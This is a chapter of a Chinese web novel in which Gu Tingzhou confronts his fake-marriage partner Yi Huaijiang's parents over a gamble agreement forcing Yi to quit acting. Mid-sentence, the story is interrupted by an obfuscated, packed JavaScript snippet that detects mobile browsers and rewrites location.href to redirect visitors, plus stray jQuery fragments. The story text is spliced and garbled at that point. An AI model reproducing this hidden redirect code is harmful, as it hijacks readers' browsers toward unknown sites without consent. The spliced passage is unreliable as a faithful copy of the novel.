所以……易淮江是真的喜欢演员这个职业?
为了当演员还和他爸签了对赌协议?
卫向明的语气听着平和,可字字句句无一不在表达他对易淮江做法的不认同。
仅一墙之隔的顾听舟此刻却被他所说的内容震住了,一字一句消化得颇为艰难。
顾听舟知道易淮江高考后去了华戏,也知道卫向明一直不同意易淮江演戏,但他一直以为易淮江是迟来的叛逆期到了,为了气文姨和卫向明一年到头不回家、不管他,才故意和他们对着干报了华戏。
毕竟在那之前,易淮江从来没表现出过对演戏感兴趣的样子,又或者说,除了读书和跟他抬杠,似乎就没有其他什么是能让易淮江感兴趣的。
可如果他是真的喜欢演员这个职业……
顾听舟垂眸看着木雕柜上某个不知道什么时候被撞破了的边角,直到此刻才终于明白易淮江为什么会答应白朝彩和威廉那离谱的假结婚计划。
这或许是他最后的机会了。
金木奖作为三大金奖中最难拿、也最具含金量的奖项,在众多电影人中,只有夏秋风是唯一一位成功复刻了往日辉煌,两度带领着不同的团队和演员拿下了金木奖奖项的导演。
恰巧在对赌协议到期前,夏导的手上有了一份适合金木奖的新剧本,易淮江作为他近些年合作最合拍的演员,也成功争取到了男主的角色。
唯一美中不足的只有他一片空白的感情经历。
如果白朝彩当初约见的是其他人,易淮江还真不一定会对这个离谱的曲线救国计划妥协。
但偏偏,在易淮江遵纪守法的道德秩序之外,白朝彩为他约见的假结婚对象是他这个明仇二十年的死对头。
而他顾听舟,竟然也就这么稀里糊涂地成了别人追求梦想道路上不可或缺的条件之一。
顾听舟垂着眸,无意识地抬手摸了摸耳垂,指尖轻轻触碰到嵌着细钻的两枚耳钉,纷杂的思绪也随着冰凉的触感缓缓冷却。
可随着惊讶的情绪褪去,随着血液涌上大脑的却是冲动。
就像他所说的,他才是那个三分钟热度的人。钢琴、吉他、魔术、射击……他的兴趣爱好广泛到一时半会儿说不清,可却始终没有能让他的沉下心为之努力的目标。
易淮江成为演员是因为喜欢,因为热爱。
而他则是因为对继承家业没兴趣,试图靠演戏体验不同生活,以此寻找人生目标。
两厢对比,卫向明看似语重心长的话语反而变得更加刺耳。
如果易淮江这样都能算作对自己不负责任、想一出是一出的话,那他的情况岂不是比易淮江还差上百倍千倍?
顾听舟嗤笑了一声,摩挲着耳钉的手指也微微收紧。
如果按照自己想要的方式生活都能被称作“犯错”,那么强行把自己的意志套在别人身上难道不更应该受到惩罚?
在卫向明再一次开口前,顾听舟直接一把扯开了隔壁包房的门帘。
卫向明还没来得及说出口的话被突然闯入的人惊得直接咽回了肚子里,刚要喊服务员赶人,却见来人拉下口罩,露出了一张夺目又张扬的脸。
易淮江背对着门口,刚转过头,便听见易文君惊讶道:“听舟?你怎么在这?”
易淮江扭头的动作倏地顿住,又在下一秒抬眸,隔空对上了那双熟悉的琉璃眼。
顾听舟没搭理他,上前迈了两步,刚好抬手按在他椅背上,紧接着抬了抬帽檐露出整张脸,向易文君点了点头:“文姨。”
然后才看向卫向明:“卫叔。”
“工作室临时出了点事,没来得及接你们下飞机,一路应该还顺利吧。”顾听舟仿佛真的只是路过,语气轻松地和他们闲聊,“今年怎么这个时候就回来了,这才四月份吧。”
易文君被他问得愣了愣,看了眼自家儿子,见他不说话,便有些拿不准地开了口:“你卫叔叔有点事想当面和淮江谈谈,今年也不像之前那么忙,我们就抽空回来一趟。”
顾听舟也算是他们从小看着长大的孩子,虽然骄纵了些,但自小聪明可爱,又喜欢撒娇,此刻带着笑和他们打招呼闲聊,又有易淮江寡言少语的冷脸从旁对比,两位长辈脸色都舒缓了不少,气氛也轻快许多,仿佛真的只是普通的见面聊家常。
顾听舟听得在心底直皱眉。
什么大事非得回国当面才能说?
如果不是他听了全程,他还真以为面前这两位长辈是因为他们结婚的事才临时赶回来的。
可冷静下来想想,风投的工作哪有那么简单就能抽出假离开的?只是因为易淮江那份所谓的对赌协议只剩最后一年就要到期,他们提前做好了安排空出时间回国施压。
不然,起码也要到七月份才可能抽出空。
眼神没忍住闪了闪,落在了易淮江身上,恰好瞥见易淮江准备起身的动作,顾听舟忍不住在心底啧了声,先一步抬起手,直接按住了他的肩。
“这样啊。”
顾听舟若有所思地点了点头,转过脸看向卫向明:“卫叔不用担心,我就是刚好路过,看您一个人念得挺无聊,进来陪几句。”
“易淮江没来清大而是去了华戏,我确实也觉得挺遗憾。毕竟上了大学之后,一年也就过年才见一面,想吵架都没空。”
顾听舟脸上的笑意忽然淡了下来,嘴角那抹浅浅的弧度含着几分嘲弄:“我觉得您肯定能懂我的感觉。”
“毕竟易淮江从搬到我家隔壁起,您和文姨也是天天在外面飞,甚至连过年都不一定能见上一面,连年夜饭都是在我家吃的。”
易淮江讶异地抬头,顾听舟忙着措辞,既要能怼人还得不会被祝女士事后教训没礼貌,忙得压根没空搭理他,抬了抬按在他肩上的右手,把那张脸又扳了回去。
看你大爷。
他看似是在惋惜,可句句扎在两位长辈的心上,卫向明的脸色顿时变得悻悻:“听舟,淮江和你不一样……演员终究不是正经职业,做不长久的。你有你妈妈的公司不用担心这些,我和你文姨没那么厉害,只能替他做点规划。”
“是吗?”顾听舟弯了弯眼睛,笑意却不达眼底,“有什么不一样,我不也是明星吗?”
“易淮江不仅比我多了好几座奖杯,还是目前为止最年轻的双金影帝,不出意外明年还能晋升三金,有什么不正经的?”
卫向明这才后知后觉地想起来顾听舟虽然按照家里的意思去了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943328|191342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
清大,却也在毕业后进了娱乐圈当,于是脸上仅剩的几分笑意也缓缓消散。
“文姨,你们不在国内,我和易淮江已经和我爸妈解释过了,结婚的事确实是我们有错在先,一时冲动没来得及和你们商量,但这么多年,我和他吵架归吵架,我爸妈对他还是很不错的,我甚至敢说他从没在我家受过委屈。”
“今天我没来得及赶上接机,但怎么说这顿饭也是易淮江结婚后你们一家人的第一顿饭,卫叔句句都在指责易淮江,表面上是说他对自己不负责,实际上其实是对我不满意吧?毕竟和易淮江结婚的是我,和易淮江一样进娱乐圈当明星的也是我。”
易文君扶了扶眼镜,有些急迫的站了起来:“初初,我们没有那个意思,你卫叔他……”
顾听舟朝她笑了笑:“文姨你先别急,坐下我们慢慢说。”
易文君犹豫了会,重新在座位上坐了下来。
顾听舟这才继续道:“我和易淮江是小辈,有些话当直说确实不太好,但文姨和我妈关系一向要好,我和易淮江现在也是法律认证的婚姻关系,我就不拐弯抹角了。”
“卫叔或许是在国外待了太久,国内也没什么亲戚朋友往来,以至于对国内的传统习俗意识淡薄了不少。但我们两家人住得近,该顾及的体面总是要顾及到的,过年的时候是,现在也是,不然天长日久,再好的关系也总是会有被影响的一天。”
扫了眼卫向明发绿的脸色,顾听舟略微收起点咄咄逼人的气势,朝易文君乖巧地笑了笑:“我知道文姨和卫叔的用意总归是好的,毕竟易淮江是你们的亲生儿子。”
“但是,你们想让他跟着你们出国学习风投,他如果真的答应了,你们有没有想过我该怎么办,留在华国当鳏夫?”
随着顾听舟话风突地一转,易文君原先紧皱着眉毛也松开了些,可紧接着就被这个问题给问住了。
顾听舟没给他们思考的时间,紧接着道:“卫叔也说了,我家还有祝女士的公司等着我继承,我不可能像你们那时候一样抛下这里的一切说出国就出国,几年也不回来一趟。”
父母和孩子是不同的个体,意见有分歧是很正常的事情,哪怕是祝女士,当初也是不赞成他进娱乐圈当明星的。
但哪怕不赞成,祝女士也只是不允许他对外打着她和公司的名头招摇,仅仅是断掉了家里给他的帮助而已。可易淮江家里不仅不帮忙,还和他签了对赌协议,非要逼迫一个成年人去做他不愿意做的事情。
就算他再讨厌易淮江,也不可能在明明已经听到了这些事后还能若无其事地转身离开。
顾听舟撩起眼皮看向卫向明,明明脸上还带着浅笑,可问出的每一个字,都在无形中把两位长辈逼得退无可退:“卫叔这么急着回来想带易淮江走,就算你不考虑自己亲儿子的感受,那你考虑过我吗?考虑过我妈和文姨的感情吗?”
说完,顾听舟松开了手,易淮江也离开了位置站到了他身边,顾听舟瞥了眼桌上的菜色,此刻却只觉得倒胃口。
顾听舟干脆伸手拽住了他,朝桌前的两人点了点头:“这顿饭我已经付过账了,算是我和易淮江的一点心意。中午还有工作,他我就先带走了,文姨再见,卫叔慢慢吃。”